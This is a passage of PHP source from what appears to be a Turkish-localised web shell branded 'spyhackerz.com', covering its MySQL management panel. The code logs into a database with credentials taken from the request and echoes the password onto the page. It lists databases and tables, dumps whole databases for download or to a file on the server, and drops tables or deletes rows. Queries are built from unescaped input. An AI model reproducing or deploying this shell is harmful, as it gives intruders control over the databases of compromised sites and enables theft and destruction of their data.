  1976.  if (!$sql_sock)
  1977.  
  1978.  {
  1979.  
  1980.   if (!$sql_server) {echo "Baglanilamadi";}
  1981.  
  1982.   else {echo "<center><b>Baglanilamadi</b></center>"; echo "<b>".$err."</b>";}
  1983.  
  1984.  }
  1985.  
  1986.  else
  1987.  
  1988.  {
  1989.  
  1990.   $sqlquicklaunch = array();
  1991.  
  1992.   $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  1993.  
  1994.   $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  1995.  
  1996.   $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  1997.  
  1998.   $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  1999.  
  2000.   $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  2001.  
  2002.   $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  2003.  
  2004.   echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  2005.  
  2006.   if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  2007.  
  2008.   echo "</center>";
  2009.  
  2010.  }
  2011.  
  2012.  echo "</td></tr><tr>";
  2013.  
  2014.  if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> </font></center><li>Eger sifre gecersizse ,admin olan sifredir .<li>Eger host, gecersizse, host, localhosttur</b><li>Eger port gecersizse normal port "3306"</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Lutfen formu doldur:</b><table><tr><td><b>Username(K.Adi)</b></td><td><b>Password(Sifre)</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
  2015.  
  2016.  else
  2017.  
  2018.  {
  2019.  
  2020.   //Start left panel
  2021.  
  2022.   if (!empty($sql_db))
  2023.  
  2024.   {
  2025.  
  2026.    ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
  2027.  
  2028.    $result = mysql_list_tables($sql_db);
  2029.  
  2030.    if (!$result) {echo mysql_smarterror();}
  2031.  
  2032.    else
  2033.  
  2034.    {
  2035.  
  2036.     echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  2037.  
  2038.     $c = 0;
  2039.  
  2040.     while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  2041.  
  2042.     if (!$c) {echo "Databasede tablo bulunamadi!";}
  2043.  
  2044.    }
  2045.  
  2046.   }
  2047.  
  2048.   else
  2049.  
  2050.   {
  2051.  
  2052.    ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
  2053.  
  2054.    $result = mysql_list_dbs($sql_sock);
  2055.  
  2056.    if (!$result) {echo mysql_smarterror();}
  2057.  
  2058.    else
  2059.  
  2060.    {
  2061.  
  2062.     ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
  2063.  
  2064.     $c = 0;
  2065.  
  2066.     $dbs = "";
  2067.  
  2068.     while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  2069.  
  2070.     echo "<option value=\"\">Databases (".$c.")</option>";
  2071.  
  2072.     echo $dbs;
  2073.  
  2074.    }
  2075.  
  2076.    ?></select><hr size="1" noshade>Lutfen Database secin<hr size="1" noshade><input type="submit" value="Go"></form><?php
  2077.  
  2078.   }
  2079.  
  2080.   //End left panel
  2081.  
  2082.   echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
  2083.  
  2084.   //Start center panel
  2085.  
  2086.   $diplay = true;
  2087.  
  2088.   if ($sql_db)
  2089.  
  2090.   {
  2091.  
  2092.    if (!is_numeric($c)) {$c = 0;}
  2093.  
  2094.    if ($c == 0) {$c = "no";}
  2095.  
  2096.    echo "<hr size=\"1\" noshade><center><b>Bu Databasede ".$c." table(s) Tablo var! (".htmlspecialchars($sql_db).").<br>";
  2097.  
  2098.    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  2099.  
  2100.    echo "</b></center>";
  2101.  
  2102.    $acts = array("","dump");
  2103.  
  2104.    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  2105.  
  2106.    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  2107.  
  2108.    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  2109.  
  2110.    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  2111.  
  2112.    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  2113.  
  2114.    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  2115.  
  2116.    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  2117.  
  2118.    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
  2119.  
  2120.    elseif ($sql_tbl_act == "insert")
  2121.  
  2122.    {
  2123.  
  2124.     if ($sql_tbl_insert_radio == 1)
  2125.  
  2126.     {
  2127.  
  2128.      $keys = "";
  2129.  
  2130.      $akeys = array_keys($sql_tbl_insert);
  2131.  
  2132.      foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  2133.  
  2134.      if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  2135.  
  2136.      $values = "";
  2137.  
  2138.      $i = 0;
  2139.  
  2140.      foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  2141.  
  2142.      if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  2143.  
  2144.      $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  2145.  
  2146.      $sql_act = "query";
  2147.  
  2148.      $sql_tbl_act = "browse";
  2149.  
  2150.     }
  2151.  
  2152.     elseif ($sql_tbl_insert_radio == 2)
  2153.  
  2154.     {
  2155.  
  2156.      $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  2157.  
  2158.      $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  2159.  
  2160.      $result = mysql_query($sql_query) or print(mysql_smarterror());
  2161.  
  2162.      $result = mysql_fetch_array($result, MYSQL_ASSOC);
  2163.  
  2164.      $sql_act = "query";
  2165.  
  2166.      $sql_tbl_act = "browse";
  2167.  
  2168.     }
  2169.  
  2170.    }
  2171.  
  2172.    if ($sql_act == "query")
  2173.  
  2174.    {
  2175.  
  2176.     echo "<hr size=\"1\" noshade>";
  2177.  
  2178.     if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  2179.  
  2180.     if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  2181.  
  2182.     if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Gercekden istionmu Kardes:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Evet\">&nbsp;<input type=\"submit\" value=\"Hayir\"></form></td></tr></table>";}
  2183.  
  2184.    }
  2185.  
  2186.    if (in_array($sql_act,$acts))
  2187.  
  2188.    {
  2189.  
  2190.     ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Yeni Tablo olustur:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Olustur"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
  2191.  
  2192.    if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  2193.  
  2194.     if ($sql_act == "newtbl")
  2195.  
  2196.     {
  2197.  
  2198.      echo "<b>";
  2199.  
  2200.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo " \"".htmlspecialchars($sql_newdb)."\" Yeni database olusturuldu!</b><br>";
  2201.  
  2202.     }
  2203.  
  2204.     else {echo "Database Olusturulamadi \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  2205.  
  2206.    }
  2207.  
  2208.    elseif ($sql_act == "dump")
  2209.  
  2210.    {
  2211.  
  2212.     if (empty($submit))
  2213.  
  2214.     {
  2215.  
  2216.      $diplay = false;
  2217.  
  2218.      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  2219.  
  2220.      echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  2221.  
  2222.      $v = join (";",$dmptbls);
  2223.  
  2224.      echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  2225.  
  2226.      if ($dump_file) {$tmp = $dump_file;}
  2227.  
  2228.      else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  2229.  
  2230.      echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  2231.  
  2232.      echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  2233.  
  2234.      echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  2235.  
  2236.      echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  2237.  
  2238.      echo "</form>";
  2239.  
  2240.     }
  2241.  
  2242.     else
  2243.  
  2244.     {
  2245.  
  2246.      $diplay = true;
  2247.  
  2248.      $set = array();
  2249.  
  2250.      $set["sock"] = $sql_sock;
  2251.  
  2252.      $set["db"] = $sql_db;
  2253.  
  2254.      $dump_out = "download";
  2255.  
  2256.      $set["print"] = 0;
  2257.  
  2258.      $set["nl2br"] = 0;
  2259.  
  2260.      $set[""] = 0;
  2261.  
  2262.      $set["file"] = $dump_file;
  2263.  
  2264.      $set["add_drop"] = true;
  2265.  
  2266.      $set["onlytabs"] = array();
  2267.  
  2268.      if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  2269.  
  2270.      $ret = mysql_dump($set);
  2271.  
  2272.      if ($sql_dump_download)
  2273.  
  2274.      {
  2275.  
  2276.       @ob_clean();
  2277.  
  2278.       header("Content-type: application/octet-stream");
  2279.  
  2280.       header("Content-length: ".strlen($ret));
  2281.  
  2282.       header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  2283.  
  2284.       echo $ret;
  2285.  
  2286.       exit;
  2287.  
  2288.      }
  2289.  
  2290.      elseif ($sql_dump_savetofile)
  2291.  
  2292.      {
  2293.  
  2294.       $fp = fopen($sql_dump_file,"w");
  2295.  
  2296.       if (!$fp) {echo "<b>Dump hatasi OLusturulamadi \"".htmlspecialchars($sql_dump_file)."\"!";}
  2297.  
  2298.       else
  2299.  
  2300.       {
  2301.  
  2302.        fwrite($fp,$ret);
  2303.  
  2304.        fclose($fp);
  2305.  
  2306.        echo "<b>Dumped(Dokuldu)! Dump Yazildi \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  2307.  
  2308.       }
  2309.  
  2310.      }
  2311.  
  2312.      else {echo "<b>Dump: hicbirsey yapilamadi!</b>";}
  2313.  
  2314.     }
  2315.  
  2316.    }
  2317.  
  2318.    if ($diplay)
  2319.  
  2320.    {
  2321.  
  2322.     if (!empty($sql_tbl))
  2323.  
  2324.     {
  2325.  
  2326.      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  2327.  
  2328.      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  2329.  
  2330.      $count_row = mysql_fetch_array($count);
  2331.  
  2332.      mysql_free_result($count);
  2333.  
  2334.      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  2335.  
  2336.      $tbl_struct_fields = array();
  2337.  
  2338.      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  2339.  
  2340.      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  2341.  
  2342.      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  2343.  
  2344.      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  2345.  
  2346.      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  2347.  
  2348.      $perpage = $sql_tbl_le - $sql_tbl_ls;
  2349.  
  2350.      if (!is_numeric($perpage)) {$perpage = 10;}
  2351.  
  2352.      $numpages = $count_row[0]/$perpage;
  2353.  
  2354.      $e = explode(" ",$sql_order);
  2355.  
  2356.      if (count($e) == 2)
  2357.  
  2358.      {
  2359.  
  2360.       if ($e[0] == "d") {$asc_desc = "DESC";}
  2361.  
  2362.       else {$asc_desc = "ASC";}
  2363.  
  2364.       $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  2365.  
  2366.      }
  2367.  
  2368.      else {$v = "";}
  2369.  
  2370.      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  2371.  
  2372.      $result = mysql_query($query) or print(mysql_smarterror());
  2373.  
  2374.      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  2375.  
  2376.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  2377.  
  2378.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  2379.  
  2380.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  2381.  
  2382.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  2383.  
  2384.      if ($sql_tbl_act == "structure") {echo "<br><br><b>spyhackerz.com </b>";}
  2385.  
  2386.      if ($sql_tbl_act == "insert")
  2387.  
  2388.      {
  2389.  
  2390.       if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  2391.  
  2392.       if (!empty($sql_tbl_insert_radio))
  2393.  
  2394.       {
  2395.  
  2396.  
  2397.  
  2398.       }
  2399.  
  2400.       else
  2401.  
  2402.       {
  2403.  
  2404.        echo "<br><br><b>Row u tabloya sok :</b><br>";
  2405.  
  2406.        if (!empty($sql_tbl_insert_q))
  2407.  
  2408.        {
  2409.  
  2410.         $sql_query = "SELECT * FROM `".$sql_tbl."`";
  2411.  
  2412.         $sql_query .= " WHERE".$sql_tbl_insert_q;
  2413.  
  2414.         $sql_query .= " LIMIT 1;";
  2415.  
  2416.         $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  2417.  
  2418.         $values = mysql_fetch_assoc($result);
  2419.  
  2420.         mysql_free_result($result);
  2421.  
  2422.        }
  2423.  
  2424.        else {$values = array();}
  2425.  
  2426.        echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Alan</b></td><td><b>Tip</b></td><td><b>Fonksiyon</b></td><td><b>Value</b></td></tr>";
  2427.  
  2428.        foreach ($tbl_struct_fields as $field)
  2429.  
  2430.        {
  2431.  
  2432.         $name = $field["Alan"];
  2433.  
  2434.         if (empty($sql_tbl_insert_q)) {$v = "";}
  2435.  
  2436.         echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Tip"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  2437.  
  2438.         $i++;
  2439.  
  2440.        }
  2441.  
  2442.        echo "</table><br>";
  2443.  
  2444.        echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Yeni ilave sok</b>";
  2445.  
  2446.        if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  2447.  
  2448.        echo "<br><br><input type=\"submit\" value=\"Tamam\"></form>";
  2449.  
  2450.       }
  2451.  
  2452.      }
  2453.  
  2454.      if ($sql_tbl_act == "browse")
  2455.  
  2456.      {
  2457.  
  2458.       $sql_tbl_ls = abs($sql_tbl_ls);
  2459.  
  2460.       $sql_tbl_le = abs($sql_tbl_le);
  2461.  
  2462.       echo "<hr size=\"1\" noshade>";
  2463.  
  2464.       echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Sayfalar\">&nbsp;";
  2465.  
  2466.       $b = 0;
  2467.  
  2468.       for($i=0;$i<$numpages;$i++)
  2469.  
  2470.       {
  2471.  
  2472.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  2473.  
  2474.        echo $i;
  2475.  
  2476.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  2477.  
  2478.        if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  2479.  
  2480.        else {echo "&nbsp;";}
  2481.  
  2482.       }
  2483.  
  2484.       if ($i == 0) {echo "empty";}
  2485.  
  2486.       echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
  2487.  
  2488.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
  2489.  
  2490.       echo "<tr>";
  2491.  
  2492.       echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  2493.  
  2494.       for ($i=0;$i<mysql_num_fields($result);$i++)
  2495.  
  2496.       {
  2497.  
  2498.        $v = mysql_field_name($result,$i);
  2499.  
  2500.        if ($e[0] == "a") {$s = "d"; $m = "asc";}
  2501.  
  2502.        else {$s = "a"; $m = "desc";}
  2503.  
  2504.        echo "<td>";
  2505.  
  2506.        if (empty($e[0])) {$e[0] = "a";}
  2507.  
  2508.        if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  2509.  
  2510.        else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  2511.  
  2512.        echo "</td>";
  2513.  
  2514.       }
  2515.  
  2516.       echo "<td><font color=\"green\"><b>Action</b></font></td>";
  2517.  
  2518.       echo "</tr>";
  2519.  
  2520.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  2521.  
  2522.       {
  2523.  
  2524.        echo "<tr>";
  2525.  
  2526.        $w = "";
  2527.  
  2528.        $i = 0;
  2529.  
  2530.        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  2531.  
  2532.        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  2533.  
  2534.        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  2535.  
  2536.        $i = 0;
  2537.  
  2538.        foreach ($row as $k=>$v)
  2539.  
  2540.        {
  2541.  
  2542.         $v = htmlspecialchars($v);
  2543.  
  2544.         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  2545.  
  2546.         echo "<td>".$v."</td>";
  2547.  
  2548.         $i++;
  2549.  
  2550.        }
  2551.  
  2552.        echo "<td>";
  2553.  
  2554.        echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"SIL\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
  2555.  
